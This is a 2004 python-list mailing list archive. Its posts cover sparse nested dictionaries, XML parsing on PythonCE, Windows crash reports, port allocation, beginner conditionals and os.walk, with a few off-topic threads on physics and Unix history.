References: <ccdb2248.0409070947.7f9e94ec@posting.google.com>
	<1gjroty.tp0ndj1vwu3e7N%aleaxit@yahoo.com>
	<ccdb2248.0409071946.5a5dc727@posting.google.com>
Message-ID: <1gjscqx.18vzbp1cyrbgdN%aleaxit@yahoo.com>

Benjamin Scott <mynewjunkaccount at hotmail.com> wrote:

> Thanks for the replies.
> 
> First I will make a minor correction to the code I originally posted
> and then I will describe the original problem I am trying to solve,
> per Alex's request.
> 
> Correction:
> 
> for s in Lst:
>      for t in nuerLst:
>           for r in nuestLst:
>                Dict[s][t][r]={}
> 
> ...should actually be...
> 
> for s in Lst:
>      for t in nuerLst:
>           for r in nuestLst:
>                Dict[s][t][r]=[]
> 
> That is, the object accessed by 3 keys is a list, not a 4th
> dictionary.

OK, unfortunately that doesn't change memory requirements, as 16 bytes
is still a minimum allocation for an object.

> 
> 
> The Original Problem:
> 
> The data set:  3 Columns and at least 100,000 rows.  However, it can
> be up to 1,000,000 rows.

Aha --  a sparse 3D matrix, VERY sparse, no more than 1 million "true"
entries out of 125 million slots, and all the rest just
"placeholders"...

> 
> For the purpose of illustration let's suppose that the first column
> has the name of 1,000 "Factories", i.e. there are 1,000 unique symbols
> in the first column.  Likewise, suppose the second column contains a
> "production date" or just a date; there are 250 unique dates in the
> second column.  Finally, suppose the third column contains a
> description of a "widget type"; there are 500 unique widget
> descriptions.

Sure, quite clear.

> 
> *** i.e. each row contains the name of one factory which produced one
> widget type on a particular date.  If a factory produced more than one
> widget on a given date it is reflected in the data as a new row. ***
> 
> The motivation to construct the mentioned compound dictionary comes
> from the fact that I need quick access to the following data sets:
   ...
> len(Lst[n])=3
> 
> Lst[n][0]="Factory"
> Lst[n][1]="date"
> Lst[n][2]="WidgetType"
> 
> for s in Lst:
>      Dict[s[0]][s[1]][s[2]].append('1')
> .
> .
> .
> 
> len(Dict["Factory"]["date"]["WidgetType"]) = #Widgets of some type
> produced at a Factory on a given date.
> 
> The idea here is that I will be graphing a handful of the data sets at
> a time; they will then be discarded and a new handful will be
> graphed... etc.
> 
> What I might attempt next is to construct the required data in R (or
> NumPy) since an array object seems better suited for the task. 
> However, I'm not sure this will avert the memory error.  So, does

When you represent a sparse matrix as if it was a dense one, you hit a
typical wall of combinatorial explosion: you need memory proportional to
the product of all the dimensions, and for a matrix of high
dimensionality it's a horrid prospect.

> anyone know how to increase the RAM limit for a process?  Other

With a 32-bit CPU you're SOL, IMHO.  One option is to change machines:
Apple has just announced a very reasonably priced iMac G5, a 64-bit
machine intended for the home; or, you can do as I did, and look for a
little-used, well-reconditioned, guaranteed PowerMac G5 -- the latter
can use 8 GB of physical RAM and more importantly the address space is
only bounded by the amount of disk available, so a few hundred GBs may
be handled if you're in no hurry.  While these are wonderful machines,
however, I think you can do better.  Consider...:

> suggestions are also welcome.

The Null Object Design Pattern is more likely to be what you want ( a
fancy name for what in this case is quite simple, read on...):

Start by placing in each slot of the compound dictionary the SAME
object, which is just a placeholder.  So you'll still have 125 million
slots, but all initially will point at the same placeholder: so you're
spending only 125 million times the size of a SLOT, about 4 bytes, for a
total of 500 megabytes -- plus something because dictionaries being hash
table are always "overdimensioned" a bit, but you should fit very
comfortably in your 2GB anyway.

Now, as the data come in, you ADD 1 instead of APPENDING a string of '1'
to the appropriate slot.  THEN and only then, for those relatively very
few cells of the 3D matrix take up space for a new object,

Moreover with the operations you appear to need you don't need to make a
special null object, I think: just the integer 0 will do, and you will
not call len() at the end since the integer is already stored in the
cell.  If you wanted to store more info in each cell or somehow keep
track more directly of what cells are non-empty, etc etc, then you would
go for a more complete Null Object DP.  But for your problem as stated,
the following might suffice:

1. initialize your dictionary with:

 for s in Lst:
      for t in nuerLst:
           for r in nuestLst:
                Dict[s][t][r] = 0

2. update it on each incoming datum with:

for s in Lst:
     Dict[s[0]][s[1]][s[2]] += 1

3 consult it when done with:

Dict["Factory"]["date"]["WidgetType"] = #Widgets of some type
produced at a Factory on a given date.


Hope this helps -- if you do need a bit more, write about it here and
I'll happily show you a richer Null Object Design Pattern variant!


Alex


From nemesis at nowhere.invalid  Sun Sep 12 06:55:47 2004
From: nemesis at nowhere.invalid (Nemesis)
Date: Sun, 12 Sep 2004 10:55:47 GMT
Subject: [ANN] XPN 0.3.1
Message-ID: <rr91ic.7o3.ln@orion.homeinvalid>

XPN is an on-line newsreader with Unicode support fully written in
Python.
It also features random taglines, scoring ...

New in this release:
* v0.3.1: Added "One Click View" feature. Now you can open an article
          with a single click on it.
* v0.3.1: Fixed some bugs related to the followup function.
* v0.3.1: Fixed the timeout bug. Now XPN continue working even if the
          connection gets a timeout.
* v0.3.1: Added "Reply By Mail" feature. Now you can reply by mail
          directly from XPN. You can specify the portnumber and you can
          use username and password if the server requires
          authentication.

You can download it from:

http://sf.net/projects/xpn
-- 
Non ci sono percorsi pi? brevi da cercare, c'? la strada in cui credi e
il coraggio di andare.
 
 |\ |       |HomePage   : http://nem01.altervista.org
 | \|emesis |XPN (my nr): http://xpn.altervista.org




From jmfbahciv at aol.com  Sun Sep  5 05:34:21 2004
From: jmfbahciv at aol.com (jmfbahciv at aol.com)
Date: Sun, 05 Sep 04 09:34:21 GMT
Subject: Xah Lee's Unixism
References: <7fe97cc4.0408251356.34f2102a@posting.google.com>
	<4134a207$0$65568$a1866201@newsreader.visi.com>
	<j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net>
	<4135ce4a$0$19726$61fed72c@news.rcn.com>
	<ApudnfQdCY-dfavcRVn-pQ@speakeasy.net>
	<41371ba4$0$19723$61fed72c@news.rcn.com>
	<87d613mckn.fsf@k9.prep.synonet.com>
	<4139b0e3$0$19717$61fed72c@news.rcn.com>
	<87vfeut0at.fsf@k9.prep.synonet.com>
Message-ID: <413af08b$0$19706$61fed72c@news.rcn.com>

In article <87vfeut0at.fsf at k9.prep.synonet.com>,
   Paul Repacholi <prep at prep.synonet.com> wrote:
>jmfbahciv at aol.com writes:
>
>> In article <87d613mckn.fsf at k9.prep.synonet.com>,
>>    Paul Repacholi <prep at prep.synonet.com> wrote:
>
>>>All of them where in the 4.x monitir I used. many of the 427 source
>>>file are on Tim's site, so you can have a look in COMTAB and see.
>
>> huh..The why did I have to do TTY:_DT0:/L or LPT:_DT0:/L to get
>> directories?  And to print a file on the line printer required the
>> PIP command LPT:_DSK:FOO.FOR
>
>My bad... I claim bit rot of the grey stuff...

Whew!  Oh, good.  At least I'm not complete nuts.  I don't
good that your brain has rot but good that my brain didn't.
>
>Yes DIR and friends came later, post or part of(?) COMPIL.

Well, I always got confused with the lingo, too.  There was
the program COMPIL and then there were the compile-class
commands which had a little something to do with COMPIL
but not really.  I never did sort out the lingo.

The program COMPIL picked up where and which compiler would
get GETSEGed into your address space to compile your the
program specification you handed it.  If your file had a
non-standard extension, e.g., FOO.BAR, COMPIL had a 
heirarchal list of which compiler to choose to process
the contents of FOO.BAR.  I always liked to feed a FORTRAN
program to COBOL and visa versa just to see if I wreak any
havoc to the compiler and the monitor.

/BAH



Subtract a hundred and four for e-mail.


From tjreedy at udel.edu  Sat Sep 25 19:23:08 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Sat, 25 Sep 2004 19:23:08 -0400
Subject: [OT] "Pre-announcement" of Python-based "computing
	appliance"project.
References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com><89adnWTWC6JVscncRVn-uw@giganews.com><enp8l09sql1ikh98s530erp5b79hfpf14o@4ax.com><du7d60bbhah.fsf@amadeus.cc.tut.fi><10l90qcihqrjba1@corp.supernews.com>
	<du78yayby1a.fsf@mozart.cc.tut.fi>
Message-ID: <cj4ul0$nt5$1@sea.gmane.org>


"Ville Vainio" <ville at spammers.com> wrote in message
> But aren't they probabilities just because we haven't understood them?

That is the question.  To me, the underlying question is whether the 
existence of this universe (in particular, the big bang) was 
'deterministic' or 'arbitrary' in some megauniverse.

> A thing like "probability" just can't exist in the ultimate Reality.

That is your religious belief -- and perhaps Enstein's.  But I am not sure 
that God has any choice but to play dice.

> No lab equipment can prove the absence of further mechanisms
> directing the phenomena that have been observed and "proved" to be
> nondeterministic.

Given that no lab equipment can prove the absence of anything, this is a 
vacuous statement (irony intended ;-).

There is a mathematical theorem in quantum mechanics that claims, as I 
recall, that certain observable phenomena will be different depending upon 
whether there are or are not unobserved 'hidden variables' that would, if 
they were known, remove indetermancy.  About 20 years ago, observations 
were obtained which clearly agreed with the no hiddem variables option.

Of course, if the premises are wrong, then so are the conclusions.  But the 
burden is on QM premise doubters to produce an alternative that accords 
with data just as well as QM.

Terry J. Reedy





From askari at addressNonValide.com  Wed Sep  1 09:15:14 2004
From: askari at addressNonValide.com (Askari)
Date: Wed, 01 Sep 2004 13:15:14 GMT
Subject: Instruction at "0x00FC3D70" use memory address "0x00000000".
	Can't be "read".
References: <Xns95575468C136EaskariaddressNonVali@207.35.177.135>
	<KaCdnQsNs7tuXKjcRVn-vA@powergate.ca>
Message-ID: <Xns95575E57EB5E5askariaddressNonVali@207.35.177.135>

Peter Hansen <peter at engcorp.com> wrote in
news:KaCdnQsNs7tuXKjcRVn-vA at powergate.ca: 

> Askari wrote:
> 
>> Yesterday, ALL code in python work and nothing when I close(finish) a
>> code. Today, when I close, some raise this windows error :
>> 
>> Instruction at "0x00FC3D70" use memory address "0x00000000". Can't be
>> "read".
>> Click on "OK" to exit program.
>> 
>> Why this error, today and not before today?
> 
> Does it do this after you reboot the computer?  (You're
> using Windows, right?)
> 
> -Peter
> 

The error (always the same error "0x00FC3D70") is always on the same codes 
(and no change after reboot computer). And the some code with no "exit 
error", haven't all the same architecture (some with "while 1 ... and a 
sleep" and some with ".mainloop")).

When I reboot, no fix.  :-(   
(is the first action that I do for fix this...)

Ops..I forgot to give my specifics :
Os     : Windows XP Pro (service pack 1)
Python : 2.3.4
RAM    : 1 Gig (Dual RAM at 400 Mhz)
Proc.  : 2,8 GHz (Pentium 4)
Disk   : over 100 Gigs on hard disk....


Askari



From godoy at ieee.org  Sun Sep 19 20:43:56 2004
From: godoy at ieee.org (Jorge Godoy)
Date: Sun, 19 Sep 2004 21:43:56 -0300
Subject: Economic considerations
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<2qq5adF133c5kU1@uni-berlin.de> <m3isaf1xki.fsf@g2ctech.com>
	<1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com> <f5ao12-46u.ln1@lairds.us>
	<m3acvp38zv.fsf@g2ctech.com> <Xns956AE1BDA06EJanC@213.118.38.197>
Message-ID: <m31xgxepmb.fsf@g2ctech.com>

JanC <usenet_spam at janc.invalid> writes:

> Jorge Godoy schreef:
>
>> claird at lairds.us (Cameron Laird) writes:
>> 
>>> Incidentally, my expert sources emphasize to me that GIMP still
>>> has a long way to go before it effectively rivals Photoshop.
>> 
>> I've been told that too.  Maybe because I'm not into the graphics area I
>> think it works pretty well :-)
>
> Just try to make a CMYK separation or use Pantone colors in The GIMP and 
> you'll know what they are talking about...  ;-)

To be honest, I have no idea what are these things for.  I just know
that there's something with regards to CMYK here, but I haven't seen
Pantone.  (OK, I know that these are color representation "tables", but
I don't know when to use one or the other or when to use RGB...  An
architect friend of mine explained that but she was talking about other
things too and I didn't pay much attention to that...)

-- 
Godoy.     <godoy at ieee.org>


From ark at acm.org  Wed Sep 22 16:46:38 2004
From: ark at acm.org (Andrew Koenig)
Date: Wed, 22 Sep 2004 20:46:38 GMT
Subject: detecting variable types
References: <cisjhb$6kr$1@news-int.gatech.edu>
	<Y-WdnWCkPIytTszcRVn-vQ@powergate.ca>
	<ciskpq$7f2$1@news-int.gatech.edu>
Message-ID: <Owl4d.414337$OB3.377122@bgtnsc05-news.ops.worldnet.att.net>

"Jay" <wjjeonk at hotmail.com> wrote in message 
news:ciskpq$7f2$1 at news-int.gatech.edu...

> Here's what I'm trying to do:
>
> I have a function like this:
>
> def func(**params):
>
>    # if params[key1] is a single string
>        # do something with params[key1]
>
>    # if params[key1] is a list of strings
>        for val in params[key1]:
>            # do something
>
> Could you suggest a better way to do this without detecting the type?

I don't see anything particularly wrong with detecting the type this way:

    if isinstance(params[key1], list):
        for val in params[key1]:
            # do something
    else:
        # do something with params[key1]

Of course that won't work for other kinds of sequences, but if that's what 
you want, then that's what you want.




From roy at panix.com  Thu Sep  2 09:00:35 2004
From: roy at panix.com (Roy Smith)
Date: Thu, 02 Sep 2004 09:00:35 -0400
Subject: Announcing PyCs, a new Python-like language on .Net
References: <mailman.2572.1093751093.5135.python-list@python.org>
	<1093788608.645541@news.commspeed.net>
	<mailman.2712.1094021283.5135.python-list@python.org>
	<7xoekq4ehv.fsf@ruckus.brouhaha.com>
	<gx8haghholfn.g4vz6pwzmdbg$.dlg@40tude.net>
	<du7llftiv1f.fsf@lehtori.cc.tut.fi>
	<mailman.2750.1094098661.5135.python-list@python.org>
	<du7ekll8bmw.fsf@lehtori.cc.tut.fi>
Message-ID: <roy-5662B4.09003502092004@reader1.panix.com>

Ville Vainio <ville at spammers.com> wrote:
> I imagine regexps have been around long before perl, though I might be
> wrong.

Regex's were around long before Perl.  I first saw regex in about 1977 
or so when I was learning Unix v6.  They were used extensively in ed, 
sed, grep, awk, and maybe a few other tools.  Perl grew up sometime in 
the 80's, in an attempt to unify all those tool (plus shell) into a 
single language.


From abra9823 at mail.usyd.edu.au  Tue Sep  7 08:36:30 2004
From: abra9823 at mail.usyd.edu.au (Ajay)
Date: Tue,  7 Sep 2004 22:36:30 +1000
Subject: python from Java
In-Reply-To: <0rh%c.26762$Z14.8686@news.indigo.ie>
References: <mailman.2887.1094353612.5135.python-list@python.org>
	<YIC_c.26633$Z14.8564@news.indigo.ie>
	<mailman.2892.1094385321.5135.python-list@python.org>
	<H2E_c.26646$Z14.8654@news.indigo.ie>
	<mailman.2968.1094551279.5135.python-list@python.org>
	<0rh%c.26762$Z14.8686@news.indigo.ie>
Message-ID: <1094560590.413dab4e0d97e@www-mail.usyd.edu.au>

hi!

i have xmlproc working and i can build a minidom pretty quickly using it,
which means i can port my exisiting DOM code to the PDA.
but i am going to use SAX and build the object model you mentioned and use
that.
just a question, how hard would it be to actually perform the comparison
using C. ie, pass the dom/object model to a C module and have it do the
comparison. it should considerably speed up things and maybe the best time
to try my knowledge of C. the part i am worried about with using C is
converting the datatypes, ie the object model/minidom to something else in
C.

anyways thanks for your help and suggestions....why didn't i try xmlproc
earlier and a dom with xmlproc is quite fast....well atleast compared to
pxdom.

thanks

cheers


Quoting Alan Kennedy <alanmk at hotmail.com>:

> [Alan Kennedy]
> >>I think the best solution for you is to use and event-based python
> >>parser to parse your XML.
>
> and
>
> >>What you should consider is building your own object model, based on
> the
> >>events generated by your SAX parser. Although this sounds hard, it is
> >>actually extremely easy, as this ActiveState cookbook entry shows.
> >>
> >>http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/149368
> >>
> >>There are also multiple cpython products which will build a python
> >>object model from XML events: all of these should be comparatively cpu
> >>and memory efficient.
> >>
> >>Objectify
> >>http://gnosis.cx/download/gnosis/xml/objectify
> >>
> >>Anobind
> >>http://uche.ogbuji.net/tech/4Suite/anobind/
> >>
> >>ElementTree
> >>http://effbot.org/downloads/#elementtree
>
> [Ajay]
> > okay i tried the above approaches but no luck. See the problem is an
> XML
> > parser which works on a PDA - pythonce. Now elementtree uses pyexpat
> > (which  pythonce doesn't have), objectify just needs expat which i
> dont
> > have either and anobind needs 4Suite - there is no port for it to a
> PDA.
> > so i am back to where i was earlier.
> > looking for a reasonably fast and efficient xml parser that works on a
> PDA
> > (DOM or SAX, i dont care)
>
> I see.
>
> OK, rather than us trying to suggest multiple possible solutions, only
> to find out that they are not supported on python-ce, because of lack of
> expat, etc, please can you list for us the xml parsers that *do* work on
> python-ce.
>
> Particularly, I'm interested in whether the xml.sax modules work. Also,
> check to see if sgmllib works, since that can also be used as an
> efficient XML parser. There's got to be *some* event-based XML parser on
> python-ce, even if it is pure-python.
>
> Start by looking at this HOWTO, and see if you can get any of the
> examples running.
>
> http://pyxml.sourceforge.net/topics/howto/section-SAX.html
>
> Once you've got a working event parser, then we'll figure out the best
> way to build a python object model for your xml files.
>
> regards,
>
> --
> alan kennedy
> ------------------------------------------------------
> email alan:              http://xhaus.com/contact/alan
> --
> http://mail.python.org/mailman/listinfo/python-list
>


----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.


From tonino.greco at gmail.com  Thu Sep  2 03:55:58 2004
From: tonino.greco at gmail.com (tag)
Date: 2 Sep 2004 00:55:58 -0700
Subject: invalid token problem ?
References: <5db3bf00.0408310133.39de601c@posting.google.com>
	<ch1ki4$o78$00$1@news.t-online.com>
Message-ID: <5db3bf00.0409012355.2c502b79@posting.google.com>

Thomas Kr?ger <thomas.krueger at gmx.net> wrote in message news:<ch1ki4$o78$00$1 at news.t-online.com>...

> Your XML is not well-formed. All quotation marks in CDATA fields (outside of
> a tag) must be quoted to &quot;.

I got that part :)

> You XML should be: 
> <Cell Col="2" Row="10">=&quot;Actual Asset mix
>  &quot;&text($C$46,&quot;dd-mmm-yyyy&quot;)</Cell>
> 

but they are - it is complaining about the :
&text part ... the '"' 's are converted into &quot; ...

any other suggestions ?


From __peter__ at web.de  Tue Sep 21 05:09:27 2004
From: __peter__ at web.de (Peter Otten)
Date: Tue, 21 Sep 2004 11:09:27 +0200
Subject: python is going to die! =(
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<EPmdnagKPrUPhtPcRVn-iQ@giganews.com>
	<cioq1t$br9$1@swifty.westend.com>
Message-ID: <cior47$7fi$01$1@news.t-online.com>

Peter Maas wrote:

> If the Python community had only the ide=idiot guys this would be
> the most serious threat for Python's survival. :)

I like the ambiguity of that statement - both interpretations ring true :-)

Peter
 



From uche.ogbuji at fourthought.com  Sun Sep 12 00:49:21 2004
From: uche.ogbuji at fourthought.com (Uche Ogbuji)
Date: Sat, 11 Sep 2004 22:49:21 -0600
Subject: [XML-SIG] minidom parse error - keyerror
In-Reply-To: <1094813492.414187341e79b@www-mail.usyd.edu.au>
References: <1094565296.413dbdb0c8c18@www-mail.usyd.edu.au>
	<mailman.3019.1094619792.5135.python-list@python.org>
	<RQB%c.26808$Z14.8877@news.indigo.ie>
	<1094704456.413fdd48349c1@www-mail.usyd.edu.au>
	<1094762405.16237.329.camel@borgia>
	<1094813492.414187341e79b@www-mail.usyd.edu.au>
Message-ID: <1094964561.16237.4594.camel@borgia>

On Fri, 2004-09-10 at 04:51, Ajay wrote:
> Quoting Uche Ogbuji <uche.ogbuji at fourthought.com>:
> 
> > On Wed, 2004-09-08 at 22:34, Ajay wrote:
> > > hi!
> > >
> > >
> > > Quoting Alan Kennedy <alanmk at hotmail.com>:
> > >
> > > > [Ajay]
> > > > > i have tried the archives now and heaps of Google searches but am
> > no
> > > > closer
> > > > > to finding out what the error is.
> > > > >
> > > > > the error does not appear if i use expat.
> > > >
> > > > and
> > > >
> > > > >>i am parsing the attached document.
> > > > >>the code is
> > > > >>parser = make_parser('xml.sax.drivers2.drv_xmlproc')
> > > > >>ruleSet = parse(ruleSetFile, parser=parser)
> >
> > You've got some odd code here.  The following works for me (no errors):
> >
> > >>> from xml.sax import make_parser
> > >>> parser = make_parser('xml.sax.drivers2.drv_xmlproc')
> > >>> ruleSet = parser.parse("foo.xml")
> >
> > Where "foo.xml" is the file I pasted in from your message.
> 
> i should have put my import statements. i am actually trying to use minidom
> with xmlproc. thus the code really is
> from xml.dom.minidom import parse
> from xml.sax import make_parser
> 
> parser=make_parser('xml.sax.drivers2.drv_xmlproc')
> ruleSet = parse('foo.xml', parser=parser)
> 
> this throws the error i described earlier for the document which i also
> posted earlier.
> 
> so what am i doing wrong?

I don't think you're doing anything especially wrong.  This looks like a
bug in pulldom.  Seems as though it can't handle "global" attributes
when fed from parsers that don't report namespace prefix mappings.

IOW, 

<p3p:PURPOSE appel:connective="or">
             ^^^^^^

breaks in this case.

This will probably require some work in PullDOM to address :-(

Man, you seem to have the worst luck here.


-- 
Uche Ogbuji                                    Fourthought, Inc.
http://uche.ogbuji.net    http://4Suite.org    http://fourthought.com
Meet me at XMLOpen Sept 21-23 2004, Cambridge, UK.  http://xmlopen.org

A hands-on introduction to ISO Schematron - http://www-106.ibm.com/developerworks/edu/x-dw-xschematron-i.html
Wrestling HTML (using Python) - http://www.xml.com/pub/a/2004/09/08/pyxml.html
XML circles the globe - http://www.javareport.com/article.asp?id=9797
Element structures for names and addresses - http://www.ibm.com/developerworks/xml/library/x-elemdes.html
Commentary on "Objects. Encapsulation. XML?" - http://www.adtmag.com/article.asp?id=9090
Harold's Effective XML - http://www.ibm.com/developerworks/xml/library/x-think25.html
A survey of XML standards - http://www-106.ibm.com/developerworks/xml/library/x-stand4/



From missive at frontiernet.net  Sat Sep 25 19:05:44 2004
From: missive at frontiernet.net (Lee Harr)
Date: Sat, 25 Sep 2004 23:05:44 GMT
Subject: PyGUI: 'gtk.Button' object has no attribute 'get_sensitive'
Message-ID: <slrnclbue7.27g1.missive@homer.localdomain>


I wanted to modify the program Tests/04-button.py like so:

def simulate_hello():
    btn1.activate()

becomes...

def simulate_hello():
    if btn2.enabled:
        btn2.activate()
    else:
        btn1.activate()


but when I click on btn3 I get this:

[...]
  File "04a-button.py", line 12, in simulate_hello
    if btn2.enabled:
  File "/usr/local/lib/python2.3/site-packages/GUI/Generic/Properties.py", line 30, in <lambda>
    lambda self: getattr(self, getter_name)(),
  File "/usr/local/lib/python2.3/site-packages/GUI/Gtk/Controls.py", line 34, in get_enabled
    return self._gtk_outer_widget.get_sensitive()
AttributeError: 'gtk.Button' object has no attribute 'get_sensitive'


I also tried btn2.get_enabled() but that gives the same error.

Any hints on how to find out if the button is enabled?



From onurb at xiludom.gro  Mon Sep 20 18:01:30 2004
From: onurb at xiludom.gro (bruno modulix)
Date: Tue, 21 Sep 2004 00:01:30 +0200
Subject: How to go about developing in zope
In-Reply-To: <4c900ea0.0409170539.4b314557@posting.google.com>
References: <4c900ea0.0409160754.2158e732@posting.google.com>
	<nn7kk0hgbhihtdpqtpglsjf68us5rjn7k9@4ax.com>
	<4c900ea0.0409170539.4b314557@posting.google.com>
Message-ID: <414f54de$0$12997$626a14ce@news.free.fr>

john a ?crit :
(snip)
> Are there any tutorial on buliding a data driven(i.e database ) website with zope??
Yes, on zope.org


From john.thingstad at chello.no  Thu Sep  2 14:32:09 2004
From: john.thingstad at chello.no (John Thingstad)
Date: Thu, 02 Sep 2004 20:32:09 +0200
Subject: Xah Lee's Unixism
References: <7fe97cc4.0408251356.34f2102a@posting.google.com>
	<1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch>
	<87hdqptl96.fsf_-_@thalassa.informatimago.com>
	<4PGdnfsOfdDPi63cRVn-tA@speakeasy.net>
	<slrncj1745.t5q.amajorel@atc5.vermine.org>
	<41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com>
	<opsdpdzglzpqzri1@mjolner.upc.no>
	<slrncjep0f.oa.amajorel@vulcain.knox.com>
Message-ID: <opsdpprvxppqzri1@mjolner.upc.no>

On Thu, 2 Sep 2004 18:19:43 +0000 (UTC), Andre Majorel  
<amajorel at teezer.fr> wrote:

> On 2004-09-02, John Thingstad <john.thingstad at chello.no> wrote:
>
>> The fact that the NT kernel is not entirely stable yet really
>> shouldn't supprise anyone. Afterall Unix has messed with it's
>> kernel for 30 years.
>
> I feel compelled to point out that Linux achieved considerably
> better stability after just a few years.
>

I feel compelled to replay that Linux is based on the Posix standard which
is basically a recipie for writing unix. They did not write a new
operating system. They implemented a tested and proven one.

-- 
Using M2, Opera's revolutionary e-mail client: http://www.opera.com/m2/


From aleaxit at yahoo.com  Tue Sep  7 05:43:35 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Tue, 7 Sep 2004 11:43:35 +0200
Subject: Anyone know anything named DX?
References: <20040901221925.2128958333.EP@zomething.com>
	<mailman.2945.1094509287.5135.python-list@python.org>
	<pan.2004.09.06.21.29.05.273319@jerf.org>
	<1stv02-qlp.ln1@home.rogerbinns.com> <2q55tcFrgjv1U1@uni-berlin.de>
	<1gjqlvl.1wxc90o5nbl3mN%aleaxit@yahoo.com>
	<2q5am9Fqu2fuU3@uni-berlin.de>
Message-ID: <1gjqqzn.1xjls4hkquh3kN%aleaxit@yahoo.com>

Leif K-Brooks <eurleif at ecritters.biz> wrote:

> Alex Martelli wrote:
> > There's a recipe for the first part of this (generating
> > non-totally-ranom passwords by pastiche, i.e. Markov Chain) in the 1st
> > printed edition of the Cookbook -- it would be neat to add a back-end
> > for the second part, the check with the Google API...
> 
> I've played around with Markov Chains the Google API before, and it 
> wouldn't be very hard to implement (if you don't care about speed or 
> sanity, anyway). I think the toughest part would be gathering word lists
> for the subject matter Roger Binns mentioned.

Heh, gathering (and cleaning up, etc) good clean corpora was indeed the
hardest part of building a Markov model for natural language (for speech
recognition purposes) as we were doing in IBM Research starting about 20
years ago -- that's when I learned to love scripting, AKA very high
level, languages (at that time and place, that meant Rexx).

But today, with so much material on any given field in any given
language available from the web, the task is _way_ easier -- for the
generic Italian corpus of the '80s we had to "reverse engineer" the text
from tens of millions of words that were available in machine-readable
form only as binary files ready to drive some kind of photocomposer,
kindly suppied to us by various newspapers, agencies and
publishers...!-)

Oops, I'm slipping into warstories, like us old codgers tend to do, I'd
better stop right here!  Still, the advice is to wget or urllib.get a
bunch of web pages of interest and format them into reasonably clean
text -- shouldn't be all THAT tough!


Alex


From erik at heneryd.com  Mon Sep 13 20:05:28 2004
From: erik at heneryd.com (Erik Heneryd)
Date: Tue, 14 Sep 2004 02:05:28 +0200
Subject: check for unused ports and then grab one
In-Reply-To: <41462666.9060606@usa.net>
References: <ci502a$e77$1@solaris.cc.vt.edu>	<mailman.3268.1095108346.5135.python-list@python.org>	<9vhh12-suo.ln1@lairds.us>
	<41462666.9060606@usa.net>
Message-ID: <414635C8.9090208@heneryd.com>

Brad Tilley wrote:
> Cameron Laird wrote:
>> Incorrect, if I understand you both; *UNIX Network Programming*
>> has said for years that
>>   The process can let the system automatically assign   a port.  For 
>> both the Internet domain and the XNS
>>   domain, specifying a port number of 0 before calling
>>   bind() requests the system to do this.
>> While I've never tracked down an RFC that specifies this, it surely
>> exists.

Ah.  Nothing you use very often.  Closest I've come is opening a 
(random) port in some interval.

> This works... even on winXP... thank you!

Not very surprising considering that it's network code is based on BSD.


Erik


From tuplad at gmail.com  Sat Sep 11 08:34:42 2004
From: tuplad at gmail.com (TuPLaD)
Date: 11 Sep 2004 05:34:42 -0700
Subject: if-else-then
References: <a2e43d1f.0409101534.3a0a5cfe@posting.google.com>
	<mailman.3180.1094859861.5135.python-list@python.org>
Message-ID: <848b3711.0409110434.6db93979@posting.google.com>

Thank you very much !

But i got one more question, i was googling in python sites, and i
found a site where he he a code like this :


if user type: n, no, nop, nope then print 'You canceled'
else
if user type: y, ye, yes, yep then print 'We are beginning'


How do i do that ?



Phil Frost <indigo at bitglue.com> wrote in message news:<mailman.3180.1094859861.5135.python-list at python.org>...
> "=" and "==" are two different operators in Python. "=" is the asignment
> operator; it asigns values to names. "==" is the equality operator; it
> returns true if its operands are equal.
> 
> Also, to compare   name   to a string, the string must be in quotes.
> Without quotes, python will look for a varable named "Stickie".
> 
> Furthermore, defining main won't make it run. A common idiom is to check
> __name__ and run main. If the file is being run as a program, as opposed
> to being imported as a module, __name__ will be "__main__".
> 
> Also, I don't see need for the "n" parameter, or the time.sleep(). I
> have removed them.
> 
> Here is your program with these points applied:
> 
> #===========
> 
> def main():
>     name = raw_input("Please enter your name: ")
>     if name == "Stickie":
>         print 'Yo masta', name
>     else:
>         print "Your name is", name
> 
> if __name__ == '__main__':
>     main()
> 
> #===========
> 
> On Fri, Sep 10, 2004 at 04:34:58PM -0700, TuPLaD wrote:
> > Hi, i got the following script:
> > 
> > name = raw_input("Please enter your name: ")
> > print "Your name is", name
> > 
> > but i want it that way:
> > 
> > if 
> > name = Stickie
> > then
> > print "You be di man"
> > 
> > how do i do it ?
> > 
> > This i what i have from a tutorial, but with syntax errors i dont know
> > what im doing wrong :(
> > 
> > #!C:\Python23\python.exe
> > # My first Python Application !
> > # By TuPLaD
> > # [email]spawnxx at pandora.be[/email]
> > 
> > import time
> > def main(n):
> >     name = raw_input("Please enter your name: ")
> >     if name = Stickie:
> >         print 'Yo masta', name
> >     else:
> >         print "Your name is", name
> > 
> > time.sleep(5)
> > 
> > what should i do ?


From ary at esi-group.com  Wed Sep 29 10:55:48 2004
From: ary at esi-group.com (Anand K Rayudu)
Date: Wed, 29 Sep 2004 20:25:48 +0530
Subject: how to get files in a directory
Message-ID: <415ACCF4.4070506@esi-group.com>


Hi all,

I am trying to find a way to get the files recursively in a given 
directory,

The following code is failing, can some one please suggest what could be 
problem here


from os import walk,join

for root,dir,files in os.walk("E:\myDir1\MyDir2"):
   for i in dir:
       for j in files:
           fille = root+i+j
            print file

Surprisingly if i give os.walk("E:\myDir1") the above code works, but 
not if i have 2 levels of directories.

Thanks & Best Regards,
Anand




From peter at engcorp.com  Wed Sep 22 15:05:52 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 22 Sep 2004 15:05:52 -0400
Subject: New to Python
In-Reply-To: <poidnXQ3VpJ4V8zcRVn-qg@powergate.ca>
References: <338366A6D2E2CA4C9DAEAE652E12A1DE4A9007@au3010avexu1.global.avaya.com>
	<mailman.3722.1095866933.5135.python-list@python.org>
	<pan.2004.09.23.17.02.22.649109@jerf.org>
